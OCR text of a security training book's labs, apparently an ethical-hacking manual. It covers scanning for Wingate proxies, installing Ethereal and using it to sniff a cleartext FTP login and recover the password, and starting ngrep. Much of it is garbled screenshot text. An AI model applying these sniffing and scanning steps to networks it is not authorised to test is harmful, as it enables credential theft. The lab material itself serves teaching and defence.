*Note: The spiveytech.com domain has no Wingate server installed; this is to show
the syntax of how to scan a specific machine.

File Edit ¥ew %M Team Windows Help

B Red Hat Linux - ¥YMware Workstation o [=] 3]

File Edit View Terminal Go Help
[root@localhost ADMgates]# ./ADMgates spiveytech.com

happy scan =) .. The ADM Crew
scanning of spiveytech.com..

[+]

s

- 1) Thu Now 10
; | j 7 10:00 AM

Eomw

8B=EHE

*Note: Both the WGateScan and ADM Gate scanners are effective at locating Wingate
servers. The noticeable difference is that the WGateScan is set to specific IP
ranges whereas the ADM Gate scanner is capable of scanning an entire

domain (.com, .edu, .net, etc.).
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Lab 41: Packet Capture — Sniffer
Exploit Data from Network Traffic: Ethereal

Prerequisites: WinPcap
Countermeasures: Encryption, various sniffer detector applications
Description: Ethereal is an excellent sniffer program that allows the cap-

turing of network packets as they traverse the network to allow the
user to look “inside” the packets themselves for information about the
sender and/or receiver. Information that can be useful to an attacker
includes the following:

IP addresses

Hostnames

Routes

Data (much data is sent in clear text; including File Transfer Protocol
(FTP), Telnet, e-mails, etc.).

Protocol information

By capturing packets on the network an attacker can better structure his
or her attack or glean important information from the data collected. Please
remember that all Linux commands are case sensitive.

*Note: Ethereal will be referenced throughout the remainder of this book to verify

the results of other labs. Learning how to read the internal workings of
captured packets gives an attacker (or security professional) a keen advantage
instead of just depending on logs for review. If an attacker can alter the data
stream, the logs will represent the altered data.

Procedure: Install the Ethereal application from either the accompanying

CD or after downloading it from http://www.ethereal.com. If you
are installing Ethereal on a Windows computer, you will also need to
install the WinPcap packet capture library (also available on the CD
or the Ethereal Web site).
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To Install Ethereal on a Red Hat Linux Computer:

From the Linux directory containing the compressed Ethereal file, type
tar —zxvf ethereal-0.10.13.tar.gz.
The contents of the compressed file will be installed to a new directory

named ethereal-0.10-13.
Change to that directory by typing cd ethereal-0.10.13 and press Enter.
The contents must now be compiled to the specific machine it is on

by typing ./configure.

Bl Red Hat Linux - ¥Mware Workstation =101 x|

File

Edt View ¥M Team ‘Windows Help

File Edit View Terminal Go Help
[rootelocalhost ethereal-0.10.13]# ./configure]] [=]

0 Tue Nov 01
6:24 PM

Eome

AU ER "
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The Ethereal code will now compile.

*Note: Be patient with this step. Depending on your computer this process can take
10 to 20 minutes.

B Red Hat Linux - ¥Mware Workstation ) =10l x|

File

Edit  View

Team  ‘Windows

Help

root's Home

3

Start Here

w

Trash

Red Hat Linux-
1386 8.0

Eile Edit View Temminal Go
Jeo -1/ -1./.. -I/usr/local/include -DINET6 m_u_:"_attrihute_((unuseE
d))" -Wall -W -g -02 -T/usr/local/include -pthread -I/usr/include/gtk-2.0 -I/us
r/lib/gtk-2.0/include -I/usr/include/atk-1.0 -I/usr/include/pango-1.0 -I/usr/X11
R6/include -I/usr/include/freetype2 -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/
include  -MT packet-esis.lo -MD -MP -MF ".deps/packet-esis.Tpo" -c -o packet-es
is.lo packet-esis.c; \

then mv -f ".deps/packet-esis.Tpo" ".deps/packet-esis.Plo"; else rm -f ".deps/pa
cket-esis.Tpo"; exit 1; fi

gce -DHAVE_CONFIG H -I. -I. -I../.. -I./../.. -I./.. -Ifusr/local/include -DINE
T6 "-D_U_=__attribute_ ((unused))" -wall -W -g -02 -I/usr/local/include -pthread
-I/usr/include/gtk-2.0 -I/usr/lib/gtk-2.0/include 7I/usffinc1ude/atk—1.[] -I/usr!
/include/pango-1.0 -I/usr/X11R6/include -I/usr/include/freetype? -I/usr/include/
glib-2.0 -I/usr/lib/glib-2.0/include -MT packet-esis.lo -MD -MP -MF .deps/packet
-esis.Tpo -c packet-esis.c -fPIC -DPIC -o .libs/packet-esis.o

if /bin/sh ../../1ibtool --mode=compile --tag=CC gcc -DHAVE_CONFIG_H -I. -I. -I.
/.. -I./../.. -1./.. -Tjusr/local/include -DINET6 -D_U_="__attribute__((unuse
d))" -Wall -W -g -02 -I/usr/local/include -pthread -I/usr/include/gtk-2.0 -I/us
r/lib/gtk-2.0/include -I/usr/include/atk-1.0 -I/usr/include/pango-1.0 -I/usr/X11
R6/include -I/usr/include/freetype2 -I/usr/include/glib-2.0 -I/usr/1ib/glib-2.0/
include  -MT packet-ess.lo -MD -MP -MF ".deps/packet-ess.Tpo" -c -o packet-ess
1o packet-ess.c; \

then mv -f ".deps/packet-ess.Tpo" ".deps/packet-ess.Plo"; else rm -f ".deps/pack
et-ess.Tpo"; exit 1; fi

Tue Nov 01
7.56 PM

Bome

The next step is to type the make command, which will create the Ethereal

executable file.

Bl Red Hat Linux - ¥Mware Workstation

File  Edit View

Team  Windows  Help

Red Hat Linu
i386 8.0

File Edit View Terminal Go
[root@localhost ethereal-0.10.13]# make

Eome
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The executable is now created.

oot lecalho st=/tools/ethereal/esthereal -0.10.13
Flle Edt  Yew Terminal Go Help
make[2]: Leaving directory froot/tocls/ethereal/ethereal-u.10.13/dac’ Z
(cd doc ;%

make ../mergecap.htnl )

make[3]: Entering directory /root/tools/ethereal fothereal-0.10.13/doc"
Just/bin/podzhtml k"

nergecap - The Ethercal Network Analyzer 0.10.13° 5
--noindex X
./mergecap.pod > ../mergecap.html

make|3]: Leaving directory /root/tools/ethereal/ethereal-0.10.13/doc’

(ed doc |

make .. textZpeap.hinl )
make[3]: Entering directory '/root/tools/ethereal/ethereal-0.10.13/doc’
Sust/hin/pod2hinl h!

text2pcap - The Ethersal Network Analyzer 0.10.13" %

!
ftextIpeap.pod > ./ text2peap hinl

make[3]: Leaving directory "/root/tools/ethereal/ethereal-v.10.13/doc’
Just/binfper] | fmake-version.pl .

Version configuration file version.conf not found. Using defaults.
This is not a SVN build.

synversion.h is up-to-date.

make[2]: Leaving directory "/root/tocls/ethereal/ethereal-v.10.13"
make[1]: Leaving directory froot/teols/etherealfethereal-0,10,13°
[root@localhost ethereal-0.10.13]#

a

Bomei

Now that the Ethereal executable has been created, start the application
by typing:
./ethereal

and pressing Enter.

e Hol Linwus - are WorksLativn

.
.o /mergecap.htnl )
: Entering directory ' froot/toolsfethereal fothereal-0.10.13/doc”
Just/bin/podzhtml k"
title="nergecap - Thee Ethereal Network Analyzer 0.10.13° 5

--noindex X

. mergecap.pod > ../mergecap.html

make|3]: Leaving directory /root/tools/ethereal/ethereal-0.10.13/doc’
(ed doc |

make .. textZpeap.hinl )

make[3]: Entering directory '/root/tools/ethereal/ethereal-0.10.13/doc’
ar/bin/pod2hin] LY

text2pcap - The Ethersal Network Analyzer 0.10.13" %

~-noindex !

ftextIpeap.pod > ./ text2peap hinl

make[3]: Leaving directory "/root/tools/ethereal/ethereal-v.10.13/doc’

Just/binfperl | fmake-version.pl .

Version configuration file version.conf not found. Using defaults.

This is not a SVN build.

synversion.h is up-to-date.

make[2]: Leaving directory "/root/tocls/ethereal/ethereal-v.10.13"

make[1]: Leaving directory froot/tools/ethereal/etherval-0,10,13°

[root@localhost ethereal-0.10.13]# . /ethereal

4dalHasafEFe

Bomei
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The Ethereal application will now start.

*Note: Although it is not much to look at right now, this will quickly change. Also,
if you have any problems in configuring or making the executable, please
read the README and INSTALL files that come with the program. Many
times the problem is simply that there are incorrect versions either mixed or
installed on the computer.

|Flo- SEde Ana WM Toom |- Windows - Halp,

(munly e @EEeEEe |
[ Home | [ ndows 2000 Protessicon i Fed et Lo 0 Server |

The Ethereal Network Analyzer
File Edit  View Go Capure Analyze Ststcs  Help
Bedeanuxaadaroiy[ERQE QG
(] Filrer: tj + Dwmsslvn...] L0 c!aar| ¢ Mﬂlvl

LS

Ready to load or capture Mo Packets

W [ 1 f=me= ue
AR@QHeQEI @ o  uw

Ricme .

To demonstrate the capabilities of Ethereal click Capture, then Options.

[IEITTEDET—— =loix

|Flo- SEde Ana WM Toom |- Windows - Halp, I

|mulye Bl eamm |
[ Home | [ ndows 2000 Protessicon i Fed et Lo 0 Server |

The Ethereal Network Analyzer,
fle Edt View Go Analyze  Statistics  blelp

B B e @ B BarozyERQ QAW
[ Fileer: | @ st 1 tj + D:v!sslvﬂ...] -8 Claar| ¢ Mﬂlvl

(& CiE

W Restan

W capete et

Ready to load o captui- No Packets

AR He

wol ) @ v
Bomu .

|
i
&)
©

\
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From the Options screen ensure that the correct interface is chosen, select
Enable network name resolution, and then click Start.

ind| ECTTIICIVITY (i e

pture Options

Elle
H’ L 1P adress: 172 16.1.45 = -
() Lirk-layer header type: o apoly
[] Capeure packets in promiscuous mode
) Uimit each packet to |55 | bytes
8 copu e | []

Capeure Fila(s) Dasplay Options
[ update kst of packess in real ime

O Aitomsalic scriling in lvie caplee

[ e capture info dialog

HName Resclution

Stop Captuee ., [7] Enable MAC name resclusion

ol 1 Enable petwork name resolution

O..aher |1 : 13

Cl.-aker |1 z 7] Enable fransport name resolution
kB |

X . Cle

ARSI HgRER 5P @ mmo

[S=] LTI

A Capture window will now appear identifying the protocols available for
capture, the number of packets for each protocol captured, and the percentage
of overall capture for each protocol.

B ) sk i - Vhomirm Workstabion = =lml=

| Fe £t Vew W Toam Windows el

N EE T IEE=]E |

= o L b T T S Bed It Linus Fid L W Sarvie | (5 Winaw 000 Seceer
| |

v | stht: Capturing - Ebersal - %
¥ I T s s

Captured Fackets — 2
o S paarmIzEEQQQH
sCTP o | | oo :l'bnmm]bm o Aoy
TP & | s
uoe 8 2.9%
IcMP o | | 0o
ARP 13 ! B4.5%
0sPF o | 0%
GRE o 0o
HetRICS a (-1
iPx o | Qo
VNS o | oo
Other L] ! oom
Runing 000138
[o=]

ethi: <ve cagture In p - <capturings

AR BeglFE &3 @ umn

[S=] LI
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In this example, I opened an Internet connection to Google and hit the
refresh button a few times to generate some traffic.

I then initiated an FTP connection to another virtual machine and logged
in normally.

Wt ot L - Vot 3 =10x

muremanEa oo |

= V| [y Vindew 000 freediisnal | ETTTOITIINTTY (g i s i S

| wihi: Capiuring - Ethersal -
D Edy F=0
B fgl| e o view Temna Go pep [ il

= [rootdlocalhost rootls ftp 172.16.1,40 []
(¥t | conneeted to 172,16.1,40 {172.16.1.490) .

220 win2000s-v Microsoft FTP Service (Version 5.0).
Name (172.16.1.40:root): hacksym

331 Pasaword required for hacksym.

Password:

230 User hacksyn logged in.

Remote system Type is Windows _NT.

frp: dir

227 gntering Passive wode (172,160,1,40,4,7).

125 Data connection already open: Transfer starting.

09-22-05 O0B:07PM <DIR> mmOuse
228 Transfer complete,
Frps
ethix <lve
‘“%@ E;; 3, [ ill;’-E"j @ Tue Now 01
| §od 345 PM

[S=] LTI

I then clicked the Stop button.

*Note: Keep in mind that the traffic you see is connected to a network hub, and you
will be able to see all traffic going through that hub to all other computers
on that hub. If, however, the network link you are using is connected to a
switch, you will only be able to see traffic specifically destined to/from your
connection. There is a way to “sniff” traffic on a switch to show all traffic to
specific or every computer on a switch, which will be covered in Chapter 9.

= V| [y Vi 000 Fresadiisnal | ETTTSOITIINTTY (g e s S

w _stht; Capiuring - Eibarsal -5
' = ®ies  pein

Captured Packets - =
e i eu b@apm3iIXEEQQQH

Sl o oon :lfﬂwmibm o Apoly

TP & | asw

uoe 8 2.9%

IcMP 0 | 0o

ARP 1 . 4.5%

OSPF o = 0%

GRE o — 0%

HetRICS o | (-1

IPx o %

VINES o | 0.0%

Other L] ! 0.0

Runeing o038

(O] )
Y
ethix v cagiure in p <capturings
& > I [CIEI0 Tue Nov 01

‘%@Q@@ m= %E‘j @ ey

[S=] LI
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The captured data screen appears. The items listed are as follows:

The small gray area below the packets can be expanded by dragging the
bar up and down. This area identifies the technical specifics of each packet.
The bottom section of the screen shows the data of the packets captured.

The Packets are numbered (No.).
Time the packet was captured after the Start button was clicked.
The Source of the packet.

The Destination of the packet.

The Protocol of the captured packet.
The purpose (Info) of the packet.

This is an important area for viewing the packets.

87 Red Hat Linux - ¥Mware Workstation i o (=] 5
Fle Edt Vew %M Team Windows Help

File Edit Wiew Go Capture Analyze Statistics Help

BEoee ol xa2dAapr 93 2EEREEMAE

E]Eher. | |" | <k Expression... | bgearl & App\v‘
No. . Time Source Destination Protecol |Info a
0.000000 ome o ha e i
2 0.089210 todd 172.16.255.255 NBNS  Name gquery NB TOP10ADAYO<lc>
3 0.089709 home fE:FE:FEff:FF:ff ARP Who has 172.16.1.44? Tell 172.16
4 0.731774 todd 172.16.255.255 NBNS  Name query NB TOP10ADAYO<1c>
5 0.883734 home fEFE:FE:ff:fF:ff ARP Who has 172.16.1.45? Tell 172.16
6 0.883789 00:0c:29:4e:1le:cd home ARP 172.16.1.45 is at 00:0c:29:4e:le;
7 1.617179 todd 172.16.255.255 NBNS Name query NB TOP10ADAYO<1lc>
8 2.986378 home TE:FE:fE:ff:FE:£f ARP Who has 70.255.105.237 Tell 172.
9 3.676573 donna 172.16.255.255 NBNS  Name gquery NB TOP10ADAYO<lc>
10 4.427432 home fEFE:FEff:FF:ff ARP Who has 70.255.105.237 Tell 172.
11 4.706718 donna 172.16.255.255 NBNS  Name query NB TOP10ADAYO<lc>
12 5.791528 donna 172.16.255.255 NBNS Name query NB TOP10ADAYO<lc>
13 5.794412 home EE.ff.fE:f£:£6:£f ARP Who has 172.16.1.337 Tell 172.16| |
14 5.796198 _ hoae Ff.FFFF-FF-FF:Ff ARP Who has 172 .16.1.362 Tell 172.16/[%]
o s | [>]
[ Frame 1 (60 bytes on wire, 60 bytes captured)
> Ethernet II, Src: home (00:12:88:42:34:c9), Dst: ff:ff:ff:ff:fE:ff (£f:ff:£F:£E:FF: L) ]
oooo ff ff ff ff ff ff o0 12 88 42 34 ¢9 08 06 00 01 i |
0010 08 00 06 04 00 O1 00 12 88 42 34 c9 ac 10 00 01 7
0020 ff £f £f ff ff ff ac 10 01 23 00 00 00 00 00 00 ¢
0030 00 00 00 00 00 OO0 00 00 00 00 00 00 o
File: ",'tmpfetherxxxxrg P: 227 D: 227 M: 0 Drops: 0 %
N e [Tl '@ Tue Nov 01
‘ % SO 7 9:46 PM

Eemw
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Click on the Protocol column to sort the results based on the packets

captured.
ux - ¥Mware Workstation — o] x|
File  Edt view Team Windows Help
e &
Eile Edit View Go Capture Anpalyze Statistics Help
Boos@e oUd xaad@Bar» i Y EE]QQH
[ Eitrer: | |V| EH gxpres;mn...lbglear| 4 App\v‘
No. Time Source Destination Protocoli{ Info 2
. : B
0.000000 ome 0 e Z
3 0.089709 home FE:fE fF:fF:FF: ff ARP Who has 172.16.1.447 Tell 172.16
5 0.883734 home TE:EE:fE:fE:FF:£f ARP Who has 172.16.1.457 Tell 172.16
6 0.883789 00:0c:29:4e:le:cd home ARP 172.16.1.45 is at 00:0c:29:4e:le:
8 2.986378 home TR EE:fL:fE:FF: £ ARP Who has 70.255.105.237 Tell 172.
10 4.427432 home fE:fE:ff:FF:fF:ff ARP Who has 70.255.105.237 Tell 172.
13 5.794412 home fEEE fE:fF:FF: £ ARP Who has 172.16.1.337 Tell 172.16
14 5.796198 home ff:ff:ff:ff:ff:ff ARP Who has 172.16.1.367 Tell 172.18
15 7.027065 home fE:fEfF:fF:FF: ff ARP Who has 172.16.1.367 Tell 172.16
16 8.433437 home fEEE: L5060 ARP Who has 192.168.1.17 Tell 172.18
17 9.531662 home fE:fffF:fF:FF: ff ARP Who has 192.168.1.17 Tell 172.16
18 10.572888 home TR EE:fL:fE:FF: £ ARP Who has 172.16.1.357 Tell 172.16
19 10.659244 home ff:ff:ff:ff:ff:ff ARP Who has 172.16.1.347 Tell 172.16| |
20 10.669202 home FE-FE:FF-FF-FF-Ff ARP Who has 172 .16.1.37? Tell 172.16/[%
3] 7 I [+
[» Frame 1 (60 bytes on wire, 60 bytes captured) :
I Ethernet II, Src: home (00:12:88:42:34:c9), Dst: EE:ff:fF:ff:FF:FF (£E:fE:£L:EF:FF:EF) =
0000 f£f ff £f ff £f ff 00 12 88 42 34 ¢9 08 06 00 Q1 £
0010 08 00 06 04 00 01 00 12 88 42 34 c9 ac 10 00 01 =
oozo ff ff ff ff ff ff ac 10 01 23 00 00 00 00 00 QO z
0030 00 00 00 00 00 00 00 00 00 00 00 0O ?
File: “/rmp;emerxxx><r§ P: 227 D: 227 M: 0 Drops: 0 Y
» —
O [T & |G Y Tue Nov 01
% S = [ Crlex % 11:31 PM
Ecmw ,

Scroll down on the right side of the screen until you see the FTP protocols
captured. Click on the first FTP protocol packet listed to highlight it.

Bl Red Hat Linux - ¥Mware Workstation o =] 3]
File  Edt View Team Windows  Help
& |

e &

(3 Red Hat Linux

File Edit View Go Capture Analyze Statistics Help

SEdeanDu-30«4r23EEQ/RQ]HE

7] Eiher: | [+] 4 Expression... | % Clear Jgpp\y‘

No. |T|me Source | Destination |Pmtocol,| Info ad
61 42.626653 172.16.1.45 home DNS Standard query PTR 40.1.16.172.1in
64 42 home 172.16.1.45 DNS Standard query response PTR win20i

win2000s-v Microsof

win2000s-v

77 48.010862 172.16.1.45 win2000s-v FTP Request: USER hacksym

78 48.011610 win2000s-v 172.16.1.45 FTP Response: 331 Password required fi
92 55.441823 172.16.1.45 win2000s-v FTP Request: PASS MySecretPassword

93 55.442993 win2000s-v 172.16.1.45 FTP Response: 230 User hacksym logged
95 55.443194 172.16.1.45 win2000s-v FTP Request: SYST o
96 55.443392 win2000s-v 172.16.1.45 FIP Response: 215 Windows_NT version ||-
101 58.090742 172.16.1.45 win2000s-v FTP Request: PASV (e
102 58.091648 win2000s-v 172.16.1.45 FTP Response: 227 Entering Passive Mo
107 58.092175 172.16.1.45 win2000s-v FTP Request: LIST

108 58.093256 win2000s-v 172.16.1.45 FTP Response: 125 Data connection alr
115 58.134296 win2000s-v 172.16.1.45 FTP Response: 226 Transfer complete. =]

i S

<l

I> Frame 68 (119 bytes on wire, 119 bytes captured)

2 ]

]

«f [

0000 00 Oc 29 4e le cd 00 Oc 29 a3 e4 40 08 00 45 00 i |

0010 00 69 00 a4 40 00 B0 06 9f 75 ac 10 01 28 ac 10 7

0020 01 2d 00 15 95 f4 85 67 7d e5 31 3d df 9c 80 18 L

0030 fa fO 03 89 00 00 01 01 08 Oa Q0 00 28 d8 00 2f

AN fe 24 22 22 20 20 60_6a 29 30 20 20 72 24 76

File: "ftmp/etherXXXXr > P: 227 D: 227 M: 0 Drops: 0 A
Tue Nov 01

11:34 PM

EEmw

A& Hed
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Right-click on the first FTP packet listed and left-click on Follow TCP Stream.

Red Hat Linux - YMware Workstation o [=] 3

File Edit ¥ew %M Team Windows Help

ule &

Eile Edit View Go Capture Analyze Statistics Help

BEeee DE0 xHBEIdPB®ITY

[ Eitter: | |v | <k Expression... | bgearl g App\v‘

No. Time Source |Desrmamn |Pmtoml, Info lad
61 42.626653 172.16.1.45 home DNS Standard gquery PTR 40.1.16.172.1in
64 42.727502  home 172.16.1.45 DNS Standard guery response PTR win20

Win2000s-v

77 48.010862 172.16.1.45 Win2000s-v F1  Mark Packet (toggle)

78 48.011610 win2000s-v 172.16.1.45 FI  Time Reference »| required £

92 55.441823 172.16.1.45 win2000s-v FI Password

93 55.442993 win2000s-v 172.16.1.45 FT Apply as Filter »ksym logged|| |

95 55.443194 172.16.1.45 win2000s-v FT Prenare a Hiter . &

96 55.443392 win2000s-v 172.16.1.45 F s version |||

101 58.090742 172.16.1.45 win2000s-v F

102 58.091649 win2000s-v 172.16.1.45 FIpes Passive Mo

107 58.092175 172.16.1.45 win2000s-v F1 32 Decode As... =

1ne 58 nosase ino2n0n, 172 18 1 a5 =1 1 +1 1l
0 = & Print... B

s Show Packet in New Windk

> Frame 68 (119 bytes on wire, 119 bytes captured) sl b el 2]
> Ethernet II, Src: win2000s-v (00:0c:29:a3:e4:40), Dst: 00:0c:29:4e:le:cd (00:0c:29:4e:le:cd)
. B : ]
< S | [>
0000 00 Oc 29 4e le cd 00 Oc 29 a3 e4 40 08 00 45 00 []
0010 00 69 00 a4 40 00 80 06 9f 75 ac 10 O1 2
0020 01 2d 00 15 95 f4 85 67 7d e5 31 3d df (-
0030 fa fO 03 89 00 00 01 01 OB Oa 00 00 28 =
nAn__&e 24 92 92 20 o0 &0__Ga 29 320 90 20 =]
File: "/tmp/etherXXXXr P: 227 D: 227 M: 0 Drops: 0 5

A

< '@ Tue Nov 01
% Z 11:43 PM
Bemw

Ethereal will now place the packets in order of transmission. In this case,
because FTP is unencrypted (known as clear text) it becomes apparent why using
clear text FTP can become dangerous if an attacker is sniffing your connection.

ux - YMware Workstation o [=] 53

File Edit ¥ew %M Team Windows Help

ulr &

Red Hat

dl Follow TCP stream,

iStream Content

220 win2000s-v Microsoft FTP Service (Version 5.0).
SER hacksym

331 Password required for hacksym.

IPASS MySecretPassword

230 User hacksym logged in.

SYST

215 Windows_NT version 5.0

[PASV

227 Entering Passive Mode (172,16,1,40,4,7).

LIST

125 Data connection already open; Transfer starting.
226 Transfer complete.

|Usave As || @Eﬂnt u Entire conversation (325 bytes) ¥ |@ Ascil O EBCDIC O Hex Dump O C Arrays ) Raw
‘ Filter out this stream H X Close
A
< [T & mm ; 0 Tue Nov 01
@ = = B ’ 1146 PM

Bemw
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From the data captured in this example, it is revealed that:

The FTP server is running Microsoft FTP Service (Version 5.0).
The username is “hacksym.”

The password is “MySecretPassword.”

The FTP server is running in “Passive Mode.”

*Note: If you close the windows from a Follow TCP Stream to return to the main
Ethereal window and look in the Filter area (in green), you will see the
equivalent of the command line to filter out the same results. Using the
command line to filter results will save you time.

[EEiIter: (ip.addreq 172.16.1.40 and ip.addr eq 172.16.1.45) and [tcp.purtl -
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To Install Ethereal on Microsoft Windows:

Older versions of Ethereal require WinPcap to be installed prior to Ethereal.
The latest version (0.10.13) actually includes an installer for WinPcap if it is
not installed on the computer.

Double-click the Ethereal executable available on the accompanying CD
or from the Web site at http://www.ethereal.com.

Double-click on the Ethereal-setup icon.

Pl e ey

iethereal-setup
i-0,10,13.exe

.

On the Ethereal setup screen click Next.

Windows 2000 Server - YMware Workstation =[]

File Edt Yew %M Team Windows Help

nre|oEpBEa =B

| 50 5 windows 2000 server [
listart ||| ) @ 0 @ 1) || _uciDowrloadsietherssl [ @ Ethereal 0.10.13 Setup | s zisem

(@ Ethereal 0.10.13 Setup -

‘Welcome to the Ethereal 0.10.13
Setup Wizard

This wizard will guide you through the installation of
Ethereal,

Befare starting the installation, make sure Ethereal is not
runring

Click "Mext! to continue,

Cancel

Comw
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On the License Agreement screen click OK.

] Windows 2000 Server - ¥Mware Workstation i oy [=] 3]

File Edit Wew %M Team ‘Windows Help
mujre ek B8 M8
kel [

‘ & Wi
ilistart ||| 7] @ =3 B 1 | IciDownloadsiEtheresl thereal 0.10.13 Setup (EERE  sepm

(@ Ethereal 13 Setup E

License Agreement
Please review the license terms before installing Ethereal 010,13,

Press Page Down ko see the rest of the agreement.

Just ta avoid some misunderstandings:
While parts of Ethereal can be built and distributed as libraries,

these parts are stil covered by the license below, and NOT by the
Lesser Genersl Publc License or any other license.

GNU GENERAL PUBLIC LICENSE
Wersion 2, June 1991

If you accepk the kerms of the agreement, click I Agree to continue. You must accept the:
agreement ko install Ethereal 0,10.13,

< Batk 1Agree Cancel

ESmv

On the component setup (Choose Components) screen click Next.

Windows 2000 Gerver - ¥Mware Workstation u - 1ol x|

Fle Edt View VM Team Windows Help

LRI EER =]

=T =TT e I
start|| 1] @& =) @ 1 || Scipownioadeigtherssl  [[@ethereal 0.10.13 setup | EEEf  mi7em

@ Ethereal 13 Setup

Choose Components
Choose which Features of Ethereal 0.10.13 you want toinstall

The following components are available for instalation,

Select the type of install:

r, select the optional =- [ Ethereal

carmponEnts you wish to %
R Tetheresl
) [ Plugins | Extensions

- [¥] Toolks

Description
Spate required: 43.3MB

< Back Nezk = Cancel

Ecmv
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On the Select Additional Tasks screen click Next.

] Windows 2000 Server - ¥Mware Workstation B oy [=] 3]

File Edit %iew %M Team ‘Windows Help
Enjirs ok B8 08
A Hare | [

& |
start || (4] @ =3 B 1 || JciDownloasigtherssl  |[@Ethereal 0.10.13 Setup &

Select Additional Tasks
“hich additional tasks should be done?

Create Shorkcuts
[V Start Menu Group
¥ Desktop Icon
¥ Guick Laurich Icon

File Extensions

¥ Assoriate trace file extensions to Ethereal (Sww, acp, ape, atc, bfr,
cap, enc, erf, fdc, peap, pkt, snoop, sy, tpe, b1, trace, e, wpc, wpz)

< Back Nezk = Cancel

[eN=1""1T]

Accept the default installation directory. Click Next.

windows 2000 Server - ¥Mware Workstation ) [ 3]

Fle Edt View VM Team Windows Help
TR
i — e I
start|| | ] & 9 B D uciponrioadsigtherssl |[@Ethereal 0.10.13 Setup | (EEEf  maem

I=l=

Choose Install Location
Choose the folder inwhich toinstall Ethereal 0.10.13,

Chaose a directory in which to install Ethereal.

Destination Folder

Browse...

Spate required: 43.3MB
Space available: 1.4G8

< Back Nezk = Cancel

[eN=]17)]
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Select Install WinPcap 3.1 and Start WinPcap service “NPF” at
startup. Click Install.

B Windows 2000 Server - ¥Mware Workstation i o [=] 3]

Fle Edt Vew VM Team Windows Hep

|m m AGEKWWiE!E Eﬁﬂ |
e i TETmEm -
istart ||| 7] @ < @ JC\DDwnluads\Elherea\ m & :

(@ Ethereal 0.10.13 Setup

Install WinPcap?
WinPeap is required to capture live network daka, Should WinPrap be nstallied?

Currently installed WinPeap version

Instal
¥ Inskal WinPcap 3.1
{Use AddRemove Programs first to uninstall amy undetected old WinPeap versions)

Services

[V Start WinPcap service "NPF" at startup
(50 users without Administrator privileges can capturs)

What is WinPcap?

< Back Instal Cancel

Eemv

The WinPcap installation will now begin. Click Next.

B Windows 2000 Server - ¥Mware Workstation i o [=] 3]

Fle Edt Vew VM Team Windows Hep
|m m 4653-nﬁ'm Cﬂﬁ

=T e I
start ||| 7] @& <1 & JC\DDwnluads\Elherea\ JEtherealD 10,13 Setup ,m (ENEE ma4pm

Pcap 3.1 Setup
\ U . WinPcap 3.1 Installer
¥4\ g caP Welcome tn the WinPcap 3.1 Instalation Wizard

This page cantains news and updates From the WinPeap website, ywiw winpcap.org,
Click on Mext to proceed with WinFcap installation.

2 Mew WinPcap versions available online:

> News and announcements from the WinPcap website:

» WfinPeap Support
[Mailing lists
Commercial support

|
Cancel

Ecmv
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On the License Agreement screen click I Agree.

8]} Windows 2000 Server - ¥Mware Workstation oy [=] 3]

| File  Edit Team Windaws Help
OEEAEE n&_-nxmﬁ

= E ; : Wi windoms 00 server IR
msrarr 085 Aﬂw_“ﬂ“_‘lwﬂ—m @R aem

| /] . License Agreement
¥/ 4\ a) caP Please review the license terms before instaling WinPcap 3.1.

Press Page Down ko see the rest of the agreement.

(=opyright (c) 1993 - 2005 NebGroup, Polizecnica di Torino (taly).
(Copyright (c) 2005 CACE Technologies, Davis (California).
All rights reserved.

Reedistribution and use in source and binary Forms, with or without modfication, are
permitted provided that the fallowing conditions are met:

1. Redistributions of source code must retain the sbove copyright natice, this list of
lconditions and the following disclaimer.

2. Redistributions in binary Form must reproduce the above copyright notice, this list of
conditions and the following disclaimer in the documentation andjor other materials

TF you accent the terms of the agreement, dick I Agree to continue. You must accept the
agreement ko install WinPcap 3.5,

< Back 1 Agree Cancel

ESmv

The WinPcap will complete installing. Click Finish.

Windows 2000 Server - ¥Mware Workstation - 1ol x|

| File Edit Yiew %M Team Windaws _ Help

= uu:[@_@'-w el - mm E

el (G
iflistart ||| (1] & = & o \Dawnloads\Etherea\ \_)Etherealu 10,13 Setup 71 WinPcap 3.1 Setup ECR  sEsem

WinPcap 3.1 Setup

Completing the WinPcap 3.1 Setup
Wizard

WinPeap 3.1 has been installed on your computer,

lick Finish to close this wizard,

Finish

Ecmv
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The installation of Ethereal will complete. Click Next.

8] Windows 2000 Server - ¥Mware Workstation _|ol x|
| Fle Edt Wew ¥M Team Windows Help

=n obus @B OB

e (5 o st [ R mEm
Mstart||| ) @& =1 B || Lyciponrloadsiethersal |[@Ethereal 0.10.13 Setup <

(@ Ethereal 0.10.13 Setup i

Installation Complete
Setup was completed successfully.,

Completed

Extract: editcap.exe

Extract: editcap.html

Output Folder: C:\Program Files\Ethersal
Extract: bext2peap. exe

Extract: bext2pcap.himl

Qutput Folder: CriProgram Fles\Ethereal
Extract: mergecap.exe

Extract: mergecap.html

Outp Folder: C:\Pragram Files\Ethereal
Extract: capinfos.exe

Extract: capinfos. htm]

Completed

Select Run Ethereal 0.10.13. Click Finish.

File Edt Yew %M Team ‘Windows Help

s uh 66 anl@a on

¢

Completing the Ethereal 0.10.13
Setup Wizard

Ethereal 0.10.13 has been instaled on your computer.
Click Finish to close this wizard.
¥ Run Ethereal 0.10,1%

™ Show Mews

Finish Cancel

Eame
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The Ethereal application will start.

5l Windows 2000 Server - YMware Workstation

@Wirlduws 2000 Server

The Ethereal application functions in the same manner as in Linux at this
point. Refer to the first part of this lab for a review of the operation of this
application.

*Note: Fthereal is widely used as a packet capturing application and will be refer-
enced throughout the remainder of this book. It is important that you have
the basic understanding of Ethereal in order to verify the result of future labs.



Sniffing Traffic ® 213

Lab 42: Packet Capture — Sniffer
Exploit Data from Network Traffic: Ngrep

Prerequisites: NULL Session

Countermeasures: Encryption, various sniffer detector applications

Description: Ngrep is a network sniffer that currently recognizes IP, Trans-
fer Control Protocol (TCP), User Datagram Protocol (UDP), Internet
Control Messenger Protocol (ICMP), Internet Group Management Pro-
tocol (IGMP), PPP, Serial Line Interface Protocol (SLIP), FDDI, Token
Ring, and NULL interfaces. It also understands Berkley Packet Filter
(BPF) logic like other packet-sniffing tools. Remember that all com-
mands in Linux are case sensitive.

Procedure: For the Windows version, run from the directory where the
executable is located. For Linux, compile and make the application
and execute with the syntax of:

ngrep <options>

For Linux

From the directory containing the compressed files, type tar —zxvf ngrep-
1.40.1.tar.gz.
The compressed files will uncompress into a new directory named ngrep.
Change to the new directory by typing cd ngrep and pressing Enter.
The next step is to compile the application to the specific machine it is
installed on. This is done by typing ./configure.

B Red Hat Linux - ¥Mware Workstation I _(3l x|
